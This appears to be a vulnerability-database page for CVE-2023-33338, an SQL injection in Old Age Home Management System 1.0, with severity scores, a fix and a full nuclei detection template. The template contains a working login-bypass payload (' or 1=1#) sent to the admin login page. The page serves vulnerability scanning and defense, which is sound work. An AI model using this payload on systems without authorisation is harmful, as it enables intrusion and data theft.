Browse / CVEs / CVE-2023-33338
CVE-2023-33338· phpgurukul / old age home management system· CWE-89
Old Age Home Management System v1.0 - SQL Injection
criticalseverity
9.8CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it
Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Apply the latest patches or updates provided by the vendor to fix the SQL Injection vulnerability in the Old Age Home Management System v1.0.
How to confirm it
Send: POST /admin/login.php ; GET /admin/dashboard.php
Positive when: status_code_2 == 200 and contains(body_2, "Change Password") and contains(body_2, "Old Age Home Management System|| Dashboard")Run it with nuclei: nuclei -id CVE-2023-33338 -u <target>
The full check
id: CVE-2023-33338
info:
name: Old Age Home Management System v1.0 - SQL Injection
author: Harsh
severity: critical
description: |
Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Apply the latest patches or updates provided by the vendor to fix the SQL Injection vulnerability in the Old Age Home Management System v1.0.
reference:
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ANUJ-KUMAR/Old-Age-Home-Management-2022-2023-1.0
- https://nvd.nist.gov/vuln/detail/CVE-2023-33338
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-33338
cwe-id: CWE-89
epss-score: 0.03632
epss-percentile: 0.89638
cpe: cpe:2.3:a:phpgurukul:old_age_home_management_system:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: phpgurukul
product: old_age_home_management_system
tags: cve2023,cve,oahms,sqli,auth-bypass,phpgurukul,vuln
http:
- raw:
- |
POST /admin/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=vaday%27+or+1%3D1%23&password=password&submit=
- |
GET /admin/dashboard.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "Change Password")'
- 'contains(body_2, "Old Age Home Management System|| Dashboard")'
condition: andReferences
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ANUJ-KUMAR/Old-Age-Home-Management-2022-2023-1.0
- https://nvd.nist.gov/vuln/detail/CVE-2023-33338
Use this check only on systems you are authorised to test. Where the data comes from